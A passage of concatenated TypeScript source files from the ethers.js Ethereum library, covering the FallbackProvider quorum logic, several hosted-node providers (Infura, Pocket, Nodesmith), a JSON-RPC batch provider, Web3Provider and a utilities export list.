normalizedTally(normalize: (value: any) => string, quorum: number): (configs: Array) => any {\n return function(configs: Array): any {\n\n // Count the votes for each result\n const tally: { [ key: string]: { count: number, result: any } } = { };\n configs.forEach((c) => {\n const value = normalize(c.result);\n if (!tally[value]) { tally[value] = { count: 0, result: c.result }; }\n tally[value].count++;\n });\n\n // Check for a quorum on any given result\n const keys = Object.keys(tally);\n for (let i = 0; i < keys.length; i++) {\n const check = tally[keys[i]];\n if (check.count >= quorum) {\n return check.result;\n }\n }\n\n // No quroum\n return undefined;\n }\n}\nfunction getProcessFunc(provider: FallbackProvider, method: string, params: { [ key: string ]: any }): (configs: Array) => any {\n\n let normalize = serialize;\n\n switch (method) {\n case \"getBlockNumber\":\n // Return the median value, unless there is (median + 1) is also\n // present, in which case that is probably true and the median\n // is going to be stale soon. In the event of a malicious node,\n // the lie will be true soon enough.\n return function(configs: Array): number {\n const values = configs.map((c) => c.result);\n\n // Get the median block number\n let blockNumber = median(configs.map((c) => c.result), 2);\n if (blockNumber == null) { return undefined; }\n\n blockNumber = Math.ceil(blockNumber);\n\n // If the next block height is present, its prolly safe to use\n if (values.indexOf(blockNumber + 1) >= 0) { blockNumber++; }\n\n // Don't ever roll back the blockNumber\n if (blockNumber >= provider._highestBlockNumber) {\n provider._highestBlockNumber = blockNumber;\n }\n\n return provider._highestBlockNumber;\n };\n\n case \"getGasPrice\":\n // Return the middle (round index up) value, similar to median\n // but do not average even entries and choose the higher.\n // Malicious actors must compromise 50% of the nodes to lie.\n return function(configs: Array): BigNumber {\n const values = configs.map((c) => c.result);\n values.sort();\n return values[Math.floor(values.length / 2)];\n }\n\n case \"getEtherPrice\":\n // Returns the median price. Malicious actors must compromise at\n // least 50% of the nodes to lie (in a meaningful way).\n return function(configs: Array): number {\n return median(configs.map((c) => c.result));\n }\n\n // No additional normalizing required; serialize is enough\n case \"getBalance\":\n case \"getTransactionCount\":\n case \"getCode\":\n case \"getStorageAt\":\n case \"call\":\n case \"estimateGas\":\n case \"getLogs\":\n break;\n\n // We drop the confirmations from transactions as it is approximate\n case \"getTransaction\":\n case \"getTransactionReceipt\":\n normalize = function(tx: any): string {\n if (tx == null) { return null; }\n\n tx = shallowCopy(tx);\n tx.confirmations = -1;\n return serialize(tx);\n }\n break;\n\n // We drop the confirmations from transactions as it is approximate\n case \"getBlock\":\n // We drop the confirmations from transactions as it is approximate\n if (params.includeTransactions) {\n normalize = function(block: BlockWithTransactions): string {\n if (block == null) { return null; }\n\n block = shallowCopy(block);\n block.transactions = block.transactions.map((tx) => {\n tx = shallowCopy(tx);\n tx.confirmations = -1;\n return tx;\n });\n return serialize(block);\n };\n } else {\n normalize = function(block: Block): string {\n if (block == null) { return null; }\n return serialize(block);\n }\n }\n break;\n\n default:\n throw new Error(\"unknown method: \" + method);\n }\n\n // Return the result if and only if the expected quorum is\n // satisfied and agreed upon for the final result.\n return normalizedTally(normalize, provider.quorum);\n\n}\n\n// If we are doing a blockTag query, we need to make sure the backend is\n// caught up to the FallbackProvider, before sending a request to it.\nasync function waitForSync(config: RunningConfig, blockNumber: number): Promise {\n const provider = (config.provider);\n\n if ((provider.blockNumber != null && provider.blockNumber >= blockNumber) || blockNumber === -1) {\n return provider;\n }\n\n return poll(() => {\n return new Promise((resolve, reject) => {\n setTimeout(function() {\n\n // We are synced\n if (provider.blockNumber >= blockNumber) { return resolve(provider); }\n\n // We're done; just quit\n if (config.cancelled) { return resolve(null); }\n\n // Try again, next block\n return resolve(undefined);\n }, 0);\n });\n }, { oncePoll: provider });\n}\n\nasync function getRunner(config: RunningConfig, currentBlockNumber: number, method: string, params: { [ key: string]: any }): Promise {\n let provider = config.provider;\n\n switch (method) {\n case \"getBlockNumber\":\n case \"getGasPrice\":\n return provider[method]();\n case \"getEtherPrice\":\n if ((provider).getEtherPrice) {\n return (provider).getEtherPrice();\n }\n break;\n case \"getBalance\":\n case \"getTransactionCount\":\n case \"getCode\":\n if (params.blockTag && isHexString(params.blockTag)) {\n provider = await waitForSync(config, currentBlockNumber)\n }\n return provider[method](params.address, params.blockTag || \"latest\");\n case \"getStorageAt\":\n if (params.blockTag && isHexString(params.blockTag)) {\n provider = await waitForSync(config, currentBlockNumber)\n }\n return provider.getStorageAt(params.address, params.position, params.blockTag || \"latest\");\n case \"getBlock\":\n if (params.blockTag && isHexString(params.blockTag)) {\n provider = await waitForSync(config, currentBlockNumber)\n }\n return provider[(params.includeTransactions ? \"getBlockWithTransactions\": \"getBlock\")](params.blockTag || params.blockHash);\n case \"call\":\n case \"estimateGas\":\n if (params.blockTag && isHexString(params.blockTag)) {\n provider = await waitForSync(config, currentBlockNumber)\n }\n if (method === \"call\" && params.blockTag) {\n return provider[method](params.transaction, params.blockTag);\n }\n return provider[method](params.transaction);\n case \"getTransaction\":\n case \"getTransactionReceipt\":\n return provider[method](params.transactionHash);\n case \"getLogs\": {\n let filter = params.filter;\n if ((filter.fromBlock && isHexString(filter.fromBlock)) || (filter.toBlock && isHexString(filter.toBlock))) {\n provider = await waitForSync(config, currentBlockNumber)\n }\n return provider.getLogs(filter);\n }\n }\n\n return logger.throwError(\"unknown method error\", Logger.errors.UNKNOWN_ERROR, {\n method: method,\n params: params\n });\n}\n\nexport class FallbackProvider extends BaseProvider {\n readonly providerConfigs: ReadonlyArray;\n readonly quorum: number;\n\n // Due to the highly asyncronous nature of the blockchain, we need\n // to make sure we never unroll the blockNumber due to our random\n // sample of backends\n _highestBlockNumber: number;\n\n constructor(providers: Array, quorum?: number) {\n if (providers.length === 0) {\n logger.throwArgumentError(\"missing providers\", \"providers\", providers);\n }\n\n const providerConfigs: Array = providers.map((configOrProvider, index) => {\n if (Provider.isProvider(configOrProvider)) {\n const stallTimeout = isCommunityResource(configOrProvider) ? 2000: 750;\n const priority = 1;\n return Object.freeze({ provider: configOrProvider, weight: 1, stallTimeout, priority });\n }\n\n const config: FallbackProviderConfig = shallowCopy(configOrProvider);\n\n if (config.priority == null) { config.priority = 1; }\n if (config.stallTimeout == null) {\n config.stallTimeout = isCommunityResource(configOrProvider) ? 2000: 750;\n }\n if (config.weight == null) { config.weight = 1; }\n\n const weight = config.weight;\n if (weight % 1 || weight > 512 || weight < 1) {\n logger.throwArgumentError(\"invalid weight; must be integer in [1, 512]\", `providers[${ index }].weight`, weight);\n }\n\n return Object.freeze(config);\n });\n\n const total = providerConfigs.reduce((accum, c) => (accum + c.weight), 0);\n\n if (quorum == null) {\n quorum = total / 2;\n } else if (quorum > total) {\n logger.throwArgumentError(\"quorum will always fail; larger than total weight\", \"quorum\", quorum);\n }\n\n // Are all providers' networks are known\n let networkOrReady: Network | Promise = checkNetworks(providerConfigs.map((c) => ((c.provider)).network));\n\n // Not all networks are known; we must stall\n if (networkOrReady == null) {\n networkOrReady = new Promise((resolve, reject) => {\n setTimeout(() => {\n this.detectNetwork().then(resolve, reject);\n }, 0);\n });\n }\n\n super(networkOrReady);\n\n // Preserve a copy, so we do not get mutated\n defineReadOnly(this, \"providerConfigs\", Object.freeze(providerConfigs));\n defineReadOnly(this, \"quorum\", quorum);\n\n this._highestBlockNumber = -1;\n }\n\n async detectNetwork(): Promise {\n const networks = await Promise.all(this.providerConfigs.map((c) => c.provider.getNetwork()));\n return checkNetworks(networks);\n }\n\n async perform(method: string, params: { [name: string]: any }): Promise {\n // Sending transactions is special; always broadcast it to all backends\n if (method === \"sendTransaction\") {\n const results: Array = await Promise.all(this.providerConfigs.map((c) => {\n return c.provider.sendTransaction(params.signedTransaction).then((result) => {\n return result.hash;\n }, (error) => {\n return error;\n });\n }));\n\n // Any success is good enough (other errors are likely \"already seen\" errors\n for (let i = 0; i < results.length; i++) {\n const result = results[i];\n if (typeof(result) === \"string\") { return result; }\n }\n\n // They were all an error; pick the first error\n throw results[0];\n }\n\n // We need to make sure we are in sync with our backends, so we need\n // to know this before we can make a lot of calls\n if (this._highestBlockNumber === -1 && method !== \"getBlockNumber\") {\n await this.getBlockNumber();\n }\n\n const processFunc = getProcessFunc(this, method, params);\n\n // Shuffle the providers and then sort them by their priority; we\n // shallowCopy them since we will store the result in them too\n const configs: Array = shuffled(this.providerConfigs.map(shallowCopy));\n configs.sort((a, b) => (a.priority - b.priority));\n\n const currentBlockNumber = this._highestBlockNumber;\n\n let i = 0;\n let first = true;\n while (true) {\n const t0 = now();\n\n // Compute the inflight weight (exclude anything past)\n let inflightWeight = configs.filter((c) => (c.runner && ((t0 - c.start) < c.stallTimeout)))\n .reduce((accum, c) => (accum + c.weight), 0);\n\n // Start running enough to meet quorum\n while (inflightWeight < this.quorum && i < configs.length) {\n const config = configs[i++];\n\n const rid = nextRid++;\n\n config.start = now();\n config.staller = stall(config.stallTimeout);\n config.staller.wait(() => { config.staller = null; });\n\n config.runner = getRunner(config, currentBlockNumber, method, params).then((result) => {\n config.done = true;\n config.result = result;\n\n if (this.listenerCount(\"debug\")) {\n this.emit(\"debug\", {\n action: \"request\",\n rid: rid,\n backend: exposeDebugConfig(config, now()),\n request: { method: method, params: deepCopy(params) },\n provider: this\n });\n }\n\n }, (error) => {\n config.done = true;\n config.error = error;\n\n if (this.listenerCount(\"debug\")) {\n this.emit(\"debug\", {\n action: \"request\",\n rid: rid,\n backend: exposeDebugConfig(config, now()),\n request: { method: method, params: deepCopy(params) },\n provider: this\n });\n }\n });\n\n if (this.listenerCount(\"debug\")) {\n this.emit(\"debug\", {\n action: \"request\",\n rid: rid,\n backend: exposeDebugConfig(config, null),\n request: { method: method, params: deepCopy(params) },\n provider: this\n });\n }\n\n inflightWeight += config.weight;\n }\n\n // Wait for anything meaningful to finish or stall out\n const waiting: Array> = [ ];\n configs.forEach((c) => {\n if (c.done || !c.runner) { return; }\n waiting.push(c.runner);\n if (c.staller) { waiting.push(c.staller.getPromise()); }\n });\n\n if (waiting.length) { await Promise.race(waiting); }\n\n // Check the quorum and process the results; the process function\n // may additionally decide the quorum is not met\n const results = configs.filter((c) => (c.done && c.error == null));\n if (results.length >= this.quorum) {\n const result = processFunc(results);\n if (result !== undefined) {\n // Shut down any stallers\n configs.forEach(c => {\n if (c.staller) { c.staller.cancel(); }\n c.cancelled = true;\n });\n return result;\n }\n if (!first) { await stall(100).getPromise(); }\n first = false;\n }\n\n // No result, check for errors that should be forwarded\n const errors = configs.reduce((accum, c) => {\n if (!c.done || c.error == null) { return accum; }\n\n const code = ((c.error)).code;\n if (ForwardErrors.indexOf(code) >= 0) {\n if (!accum[code]) { accum[code] = { error: c.error, weight: 0 }; }\n accum[code].weight += c.weight;\n }\n\n return accum;\n }, <{ [ code: string ]: { error: Error, weight: number } }>({ }));\n\n Object.keys(errors).forEach((errorCode: string) => {\n const tally = errors[errorCode];\n if (tally.weight < this.quorum) { return; }\n\n // Shut down any stallers\n configs.forEach(c => {\n if (c.staller) { c.staller.cancel(); }\n c.cancelled = true;\n });\n\n const e = (tally.error);\n\n const props: { [ name: string ]: any } = { };\n ForwardProperties.forEach((name) => {\n if (e[name] == null) { return; }\n props[name] = e[name];\n });\n\n logger.throwError(e.reason || e.message, errorCode, props);\n });\n\n // All configs have run to completion; we will never get more data\n if (configs.filter((c) => !c.done).length === 0) { break; }\n }\n\n // Shut down any stallers; shouldn't be any\n configs.forEach(c => {\n if (c.staller) { c.staller.cancel(); }\n c.cancelled = true;\n });\n\n return logger.throwError(\"failed to meet quorum\", Logger.errors.SERVER_ERROR, {\n method: method,\n params: params,\n //results: configs.map((c) => c.result),\n //errors: configs.map((c) => c.error),\n results: configs.map((c) => exposeDebugConfig(c)),\n provider: this\n });\n }\n}\n", "\"use strict\";\n\nconst IpcProvider: any = null;\n\nexport {\n IpcProvider\n};\n", "\"use strict\";\n\nimport { Network, Networkish } from \"@ethersproject/networks\";\nimport { defineReadOnly } from \"@ethersproject/properties\";\nimport { ConnectionInfo } from \"@ethersproject/web\";\n\nimport { WebSocketProvider } from \"./websocket-provider\";\nimport { CommunityResourcable, showThrottleMessage } from \"./formatter\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\nimport { UrlJsonRpcProvider } from \"./url-json-rpc-provider\";\n\n\nconst defaultProjectId = \"84842078b09946638c03157f83405213\"\n\nexport class InfuraWebSocketProvider extends WebSocketProvider implements CommunityResourcable {\n readonly apiKey: string;\n readonly projectId: string;\n readonly projectSecret: string;\n\n constructor(network?: Networkish, apiKey?: any) {\n const provider = new InfuraProvider(network, apiKey);\n const connection = provider.connection;\n if (connection.password) {\n logger.throwError(\"INFURA WebSocket project secrets unsupported\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"InfuraProvider.getWebSocketProvider()\"\n });\n }\n\n const url = connection.url.replace(/^http/i, \"ws\").replace(\"/v3/\", \"/ws/v3/\");\n super(url, network);\n\n defineReadOnly(this, \"apiKey\", provider.projectId);\n defineReadOnly(this, \"projectId\", provider.projectId);\n defineReadOnly(this, \"projectSecret\", provider.projectSecret);\n }\n\n isCommunityResource(): boolean {\n return (this.projectId === defaultProjectId);\n }\n}\n\nexport class InfuraProvider extends UrlJsonRpcProvider {\n readonly projectId: string;\n readonly projectSecret: string;\n\n static getWebSocketProvider(network?: Networkish, apiKey?: any): InfuraWebSocketProvider {\n return new InfuraWebSocketProvider(network, apiKey);\n }\n\n static getApiKey(apiKey: any): any {\n const apiKeyObj: { apiKey: string, projectId: string, projectSecret: string } = {\n apiKey: defaultProjectId,\n projectId: defaultProjectId,\n projectSecret: null\n };\n\n if (apiKey == null) { return apiKeyObj; }\n\n if (typeof(apiKey) === \"string\") {\n apiKeyObj.projectId = apiKey;\n\n } else if (apiKey.projectSecret != null) {\n logger.assertArgument((typeof(apiKey.projectId) === \"string\"),\n \"projectSecret requires a projectId\", \"projectId\", apiKey.projectId);\n logger.assertArgument((typeof(apiKey.projectSecret) === \"string\"),\n \"invalid projectSecret\", \"projectSecret\", \"[REDACTED]\");\n\n apiKeyObj.projectId = apiKey.projectId;\n apiKeyObj.projectSecret = apiKey.projectSecret;\n\n } else if (apiKey.projectId) {\n apiKeyObj.projectId = apiKey.projectId;\n }\n\n apiKeyObj.apiKey = apiKeyObj.projectId;\n\n return apiKeyObj;\n }\n\n static getUrl(network: Network, apiKey: any): ConnectionInfo {\n let host: string = null;\n switch(network ? network.name: \"unknown\") {\n case \"homestead\":\n host = \"mainnet.infura.io\";\n break;\n case \"goerli\":\n host = \"goerli.infura.io\";\n break;\n case \"sepolia\":\n host = \"sepolia.infura.io\";\n break;\n case \"matic\":\n host = \"polygon-mainnet.infura.io\";\n break;\n case \"maticmum\":\n host = \"polygon-mumbai.infura.io\";\n break;\n case \"optimism\":\n host = \"optimism-mainnet.infura.io\";\n break;\n case \"optimism-goerli\":\n host = \"optimism-goerli.infura.io\";\n break;\n case \"arbitrum\":\n host = \"arbitrum-mainnet.infura.io\";\n break;\n case \"arbitrum-goerli\":\n host = \"arbitrum-goerli.infura.io\";\n break;\n default:\n logger.throwError(\"unsupported network\", Logger.errors.INVALID_ARGUMENT, {\n argument: \"network\",\n value: network\n });\n }\n\n const connection: ConnectionInfo = {\n allowGzip: true,\n url: (\"https:/\" + \"/\" + host + \"/v3/\" + apiKey.projectId),\n throttleCallback: (attempt: number, url: string) => {\n if (apiKey.projectId === defaultProjectId) {\n showThrottleMessage();\n }\n return Promise.resolve(true);\n }\n };\n\n if (apiKey.projectSecret != null) {\n connection.user = \"\";\n connection.password = apiKey.projectSecret\n }\n\n return connection;\n }\n\n isCommunityResource(): boolean {\n return (this.projectId === defaultProjectId);\n }\n}\n", "\nimport { deepCopy } from \"@ethersproject/properties\";\nimport { fetchJson } from \"@ethersproject/web\";\n\nimport { JsonRpcProvider } from \"./json-rpc-provider\";\n\n// Experimental\n\nexport class JsonRpcBatchProvider extends JsonRpcProvider {\n _pendingBatchAggregator: NodeJS.Timer;\n _pendingBatch: Array<{\n request: { method: string, params: Array, id: number, jsonrpc: \"2.0\" },\n resolve: (result: any) => void,\n reject: (error: Error) => void\n }>;\n\n send(method: string, params: Array): Promise {\n const request = {\n method: method,\n params: params,\n id: (this._nextId++),\n jsonrpc: \"2.0\"\n };\n\n if (this._pendingBatch == null) {\n this._pendingBatch = [ ];\n }\n\n const inflightRequest: any = { request, resolve: null, reject: null };\n\n const promise = new Promise((resolve, reject) => {\n inflightRequest.resolve = resolve;\n inflightRequest.reject = reject;\n });\n\n this._pendingBatch.push(inflightRequest);\n\n if (!this._pendingBatchAggregator) {\n // Schedule batch for next event loop + short duration\n this._pendingBatchAggregator = setTimeout(() => {\n\n // Get teh current batch and clear it, so new requests\n // go into the next batch\n const batch = this._pendingBatch;\n this._pendingBatch = null;\n this._pendingBatchAggregator = null;\n\n // Get the request as an array of requests\n const request = batch.map((inflight) => inflight.request);\n\n this.emit(\"debug\", {\n action: \"requestBatch\",\n request: deepCopy(request),\n provider: this\n });\n\n return fetchJson(this.connection, JSON.stringify(request)).then((result) => {\n this.emit(\"debug\", {\n action: \"response\",\n request: request,\n response: result,\n provider: this\n });\n\n // For each result, feed it to the correct Promise, depending\n // on whether it was a success or error\n batch.forEach((inflightRequest, index) => {\n const payload = result[index];\n if (payload.error) {\n const error = new Error(payload.error.message);\n (error).code = payload.error.code;\n (error).data = payload.error.data;\n inflightRequest.reject(error);\n } else {\n inflightRequest.resolve(payload.result);\n }\n });\n\n }, (error) => {\n this.emit(\"debug\", {\n action: \"response\",\n error: error,\n request: request,\n provider: this\n });\n\n batch.forEach((inflightRequest) => {\n inflightRequest.reject(error);\n });\n });\n\n }, 10);\n }\n\n return promise;\n }\n}\n", "/* istanbul ignore file */\n\n\"use strict\";\n\nimport { Network } from \"@ethersproject/networks\";\nimport { UrlJsonRpcProvider } from \"./url-json-rpc-provider\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\n// Special API key provided by Nodesmith for ethers.js\nconst defaultApiKey = \"ETHERS_JS_SHARED\";\n\nexport class NodesmithProvider extends UrlJsonRpcProvider {\n\n static getApiKey(apiKey: any): any {\n if (apiKey && typeof(apiKey) !== \"string\") {\n logger.throwArgumentError(\"invalid apiKey\", \"apiKey\", apiKey);\n }\n return apiKey || defaultApiKey;\n }\n\n static getUrl(network: Network, apiKey?: any): string {\n logger.warn(\"NodeSmith will be discontinued on 2019-12-20; please migrate to another platform.\");\n\n let host = null;\n switch (network.name) {\n case \"homestead\":\n host = \"https://ethereum.api.nodesmith.io/v1/mainnet/jsonrpc\";\n break;\n case \"ropsten\":\n host = \"https://ethereum.api.nodesmith.io/v1/ropsten/jsonrpc\";\n break;\n case \"rinkeby\":\n host = \"https://ethereum.api.nodesmith.io/v1/rinkeby/jsonrpc\";\n break;\n case \"goerli\":\n host = \"https://ethereum.api.nodesmith.io/v1/goerli/jsonrpc\";\n break;\n case \"kovan\":\n host = \"https://ethereum.api.nodesmith.io/v1/kovan/jsonrpc\";\n break;\n default:\n logger.throwArgumentError(\"unsupported network\", \"network\", arguments[0]);\n }\n\n return (host + \"?apiKey=\" + apiKey);\n }\n}\n", "\"use strict\";\n\nimport { Network } from \"@ethersproject/networks\";\nimport { ConnectionInfo } from \"@ethersproject/web\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\nimport { UrlJsonRpcProvider } from \"./url-json-rpc-provider\";\n\nconst defaultApplicationId = \"62e1ad51b37b8e00394bda3b\";\n\n\nexport class PocketProvider extends UrlJsonRpcProvider {\n readonly applicationId: string;\n readonly applicationSecretKey: string;\n readonly loadBalancer: boolean;\n\n static getApiKey(apiKey: any): any {\n const apiKeyObj: { applicationId: string, applicationSecretKey: string, loadBalancer: boolean } = {\n applicationId: null,\n loadBalancer: true,\n applicationSecretKey: null\n };\n\n // Parse applicationId and applicationSecretKey\n if (apiKey == null) {\n apiKeyObj.applicationId = defaultApplicationId;\n\n } else if (typeof (apiKey) === \"string\") {\n apiKeyObj.applicationId = apiKey;\n\n } else if (apiKey.applicationSecretKey != null) {\n apiKeyObj.applicationId = apiKey.applicationId;\n apiKeyObj.applicationSecretKey = apiKey.applicationSecretKey;\n\n } else if (apiKey.applicationId) {\n apiKeyObj.applicationId = apiKey.applicationId;\n\n } else {\n logger.throwArgumentError(\"unsupported PocketProvider apiKey\", \"apiKey\", apiKey);\n }\n\n return apiKeyObj;\n }\n\n static getUrl(network: Network, apiKey: any): ConnectionInfo {\n let host: string = null;\n switch (network ? network.name : \"unknown\") {\n case \"goerli\":\n host = \"eth-goerli.gateway.pokt.network\";\n break;\n case \"homestead\":\n host = \"eth-mainnet.gateway.pokt.network\";\n break;\n case \"kovan\":\n host = \"poa-kovan.gateway.pokt.network\";\n break;\n case \"matic\":\n host = \"poly-mainnet.gateway.pokt.network\";\n break;\n case \"maticmum\":\n host = \"polygon-mumbai-rpc.gateway.pokt.network\";\n break;\n case \"rinkeby\":\n host = \"eth-rinkeby.gateway.pokt.network\";\n break;\n case \"ropsten\":\n host = \"eth-ropsten.gateway.pokt.network\";\n break;\n default:\n logger.throwError(\"unsupported network\", Logger.errors.INVALID_ARGUMENT, {\n argument: \"network\",\n value: network\n });\n }\n\n const url = `https:/\\/${ host }/v1/lb/${ apiKey.applicationId }`\n\n const connection: ConnectionInfo = { headers: { }, url };\n if (apiKey.applicationSecretKey != null) {\n connection.user = \"\";\n connection.password = apiKey.applicationSecretKey\n }\n\n return connection;\n }\n\n isCommunityResource(): boolean {\n return (this.applicationId === defaultApplicationId);\n }\n}\n", "\"use strict\";\n\nimport { Networkish } from \"@ethersproject/networks\";\nimport { deepCopy, defineReadOnly } from \"@ethersproject/properties\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\nimport { JsonRpcProvider } from \"./json-rpc-provider\";\n\n// Exported Types\nexport type ExternalProvider = {\n isMetaMask?: boolean;\n isStatus?: boolean;\n host?: string;\n path?: string;\n sendAsync?: (request: { method: string, params?: Array }, callback: (error: any, response: any) => void) => void\n send?: (request: { method: string, params?: Array }, callback: (error: any, response: any) => void) => void\n request?: (request: { method: string, params?: Array }) => Promise\n}\n\nlet _nextId = 1;\n\nexport type JsonRpcFetchFunc = (method: string, params?: Array) => Promise;\n\ntype Web3LegacySend = (request: any, callback: (error: Error, response: any) => void) => void;\n\nfunction buildWeb3LegacyFetcher(provider: ExternalProvider, sendFunc: Web3LegacySend) : JsonRpcFetchFunc {\n const fetcher = \"Web3LegacyFetcher\";\n\n return function(method: string, params: Array): Promise {\n const request = {\n method: method,\n params: params,\n id: (_nextId++),\n jsonrpc: \"2.0\"\n };\n\n return new Promise((resolve, reject) => {\n this.emit(\"debug\", {\n action: \"request\",\n fetcher,\n request: deepCopy(request),\n provider: this\n });\n\n sendFunc(request, (error, response) => {\n\n if (error) {\n this.emit(\"debug\", {\n action: \"response\",\n fetcher,\n error,\n request,\n provider: this\n });\n\n return reject(error);\n }\n\n this.emit(\"debug\", {\n action: \"response\",\n fetcher,\n request,\n response,\n provider: this\n });\n\n if (response.error) {\n const error = new Error(response.error.message);\n (error).code = response.error.code;\n (error).data = response.error.data;\n return reject(error);\n }\n\n resolve(response.result);\n });\n });\n }\n}\n\nfunction buildEip1193Fetcher(provider: ExternalProvider): JsonRpcFetchFunc {\n return function(method: string, params: Array): Promise {\n if (params == null) { params = [ ]; }\n\n const request = { method, params };\n\n this.emit(\"debug\", {\n action: \"request\",\n fetcher: \"Eip1193Fetcher\",\n request: deepCopy(request),\n provider: this\n });\n\n return provider.request(request).then((response) => {\n this.emit(\"debug\", {\n action: \"response\",\n fetcher: \"Eip1193Fetcher\",\n request,\n response,\n provider: this\n });\n\n return response;\n\n }, (error) => {\n this.emit(\"debug\", {\n action: \"response\",\n fetcher: \"Eip1193Fetcher\",\n request,\n error,\n provider: this\n });\n\n throw error;\n });\n }\n}\n\nexport class Web3Provider extends JsonRpcProvider {\n readonly provider: ExternalProvider;\n readonly jsonRpcFetchFunc: JsonRpcFetchFunc;\n\n constructor(provider: ExternalProvider | JsonRpcFetchFunc, network?: Networkish) {\n if (provider == null) {\n logger.throwArgumentError(\"missing provider\", \"provider\", provider);\n }\n\n let path: string = null;\n let jsonRpcFetchFunc: JsonRpcFetchFunc = null;\n let subprovider: ExternalProvider = null;\n\n if (typeof(provider) === \"function\") {\n path = \"unknown:\";\n jsonRpcFetchFunc = provider;\n\n } else {\n path = provider.host || provider.path || \"\";\n if (!path && provider.isMetaMask) {\n path = \"metamask\";\n }\n\n subprovider = provider;\n\n if (provider.request) {\n if (path === \"\") { path = \"eip-1193:\"; }\n jsonRpcFetchFunc = buildEip1193Fetcher(provider);\n } else if (provider.sendAsync) {\n jsonRpcFetchFunc = buildWeb3LegacyFetcher(provider, provider.sendAsync.bind(provider));\n } else if (provider.send) {\n jsonRpcFetchFunc = buildWeb3LegacyFetcher(provider, provider.send.bind(provider));\n } else {\n logger.throwArgumentError(\"unsupported provider\", \"provider\", provider);\n }\n\n if (!path) { path = \"unknown:\"; }\n }\n\n super(path, network);\n\n defineReadOnly(this, \"jsonRpcFetchFunc\", jsonRpcFetchFunc);\n defineReadOnly(this, \"provider\", subprovider);\n }\n\n send(method: string, params: Array): Promise {\n return this.jsonRpcFetchFunc(method, params);\n }\n}\n", "\"use strict\";\n\nimport { AbiCoder, checkResultErrors, ConstructorFragment, defaultAbiCoder, ErrorFragment, EventFragment, FormatTypes, Fragment, FunctionFragment, Indexed, Interface, LogDescription, ParamType, Result, TransactionDescription }from \"@ethersproject/abi\";\nimport { getAddress, getCreate2Address, getContractAddress, getIcapAddress, isAddress } from \"@ethersproject/address\";\nimport * as base64 from \"@ethersproject/base64\";\nimport { Base58 as base58 } from \"@ethersproject/basex\";\nimport { arrayify, concat, hexConcat, hexDataSlice, hexDataLength, hexlify, hexStripZeros, hexValue, hexZeroPad, isBytes, isBytesLike, isHexString, joinSignature, zeroPad, splitSignature, stripZeros } from \"@ethersproject/bytes\";\nimport { _TypedDataEncoder, dnsEncode, hashMessage, id, isValidName, namehash } from \"@ethersproject/hash\";\nimport { defaultPath, entropyToMnemonic, getAccountPath, HDNode, isValidMnemonic, mnemonicToEntropy, mnemonicToSeed } from \"@ethersproject/hdnode\";\nimport { getJsonWalletAddress } from \"@ethersproject/json-wallets\";\nimport { keccak256 } from \"@ethersproject/keccak256\";\nimport { Logger } from \"@ethersproject/logger\";\nimport { computeHmac, ripemd160, sha256, sha512 } from \"@ethersproject/sha2\";\nimport { keccak256 as solidityKeccak256, pack as solidityPack, sha256 as soliditySha256 } from \"@ethersproject/solidity\";\nimport { randomBytes, shuffled } from \"@ethersproject/random\";\nimport { checkProperties, deepCopy, defineReadOnly, getStatic, resolveProperties, shallowCopy } from \"@ethersproject/properties\";\nimport * as RLP from \"@ethersproject/rlp\";\nimport { computePublicKey, recoverPublicKey, SigningKey } from \"@ethersproject/signing-key\";\nimport { formatBytes32String, nameprep, parseBytes32String, _toEscapedUtf8String, toUtf8Bytes, toUtf8CodePoints, toUtf8String, Utf8ErrorFuncs } from \"@ethersproject/strings\";\nimport { accessListify, computeAddress, parse as parseTransaction, recoverAddress, serialize as serializeTransaction, TransactionTypes } from \"@ethersproject/transactions\";\nimport { commify, formatEther, parseEther, formatUnits, parseUnits } from \"@ethersproject/units\";\nimport { verifyMessage, verifyTypedData } from \"@ethersproject/wallet\";\nimport { _fetchData, fetchJson, poll } from \"@ethersproject/web\";\n\n////////////////////////\n// Enums\n\nimport { SupportedAlgorithm } from \"@ethersproject/sha2\";\nimport { UnicodeNormalizationForm, Utf8ErrorReason } from \"@ethersproject/strings\";\nimport { UnsignedTransaction } from \"@ethersproject/transactions\";\n\n////////////////////////\n// Types and Interfaces\n\nimport { CoerceFunc } from \"@ethersproject/abi\";\nimport { Bytes, BytesLike, Hexable } from \"@ethersproject/bytes\"\nimport { Mnemonic } from \"@ethersproject/hdnode\";\nimport { EncryptOptions, ProgressCallback } from \"@ethersproject/json-wallets\";\nimport { Deferrable } from \"@ethersproject/properties\";\nimport { Utf8ErrorFunc } from \"@ethersproject/strings\";\nimport { AccessList, AccessListish } from \"@ethersproject/transactions\";\nimport { ConnectionInfo, FetchJsonResponse, OnceBlockable, OncePollable, PollOptions } from \"@ethersproject/web\";\n\n////////////////////////\n// Exports\n\nexport {\n AbiCoder,\n defaultAbiCoder,\n\n Fragment,\n ConstructorFragment,\n ErrorFragment,\n EventFragment,\n FunctionFragment,\n ParamType,\n FormatTypes,\n\n checkResultErrors,\n Result,\n\n Logger,\n\n RLP,\n\n _fetchData,\n fetchJson,\n poll,\n\n checkProperties,\n deepCopy,\n defineReadOnly,\n getStatic,\n resolveProperties,\n shallowCopy,\n\n arrayify,\n\n concat,\n stripZeros,\n zeroPad,\n\n isBytes,\n isBytesLike,\n\n defaultPath,\n HDNode,\n SigningKey,\n\n Interface,\n\n LogDescription,\n TransactionDescription,\n\n base58,\n base64,\n\n hexlify,\n isHexString,\n hexConcat,\n hexStripZeros,\n hexValue,\n hexZeroPad,\n hexDataLength,\n hexDataSlice,\n\n nameprep,\n _toEscapedUtf8String,\n toUtf8Bytes,\n toUtf8CodePoints,\n toUtf8String,\n Utf8ErrorFuncs,\n\n formatBytes32String,\n parseBytes32String,\n\n dnsEncode,\n hashMessage,\n namehash,\n isValidName,\n id,\n\n _TypedDataEncoder,\n\n getAddress,\n getIcapAddress,\n getContractAddress,\n getCreate2Address,\n isAddress,\n\n formatEther,\n parseEther,\n\n formatUnits,\n parseUnits,\n\n commify,\n\n computeHmac,\n keccak256,\n ripemd160,\n sha256,\n sha512,\n\n randomBytes,\n shuffled,\n\n solidityPack,\n solidityKeccak256,\n soliditySha256,\n\n splitSignature,\n joinSignature,\n\n 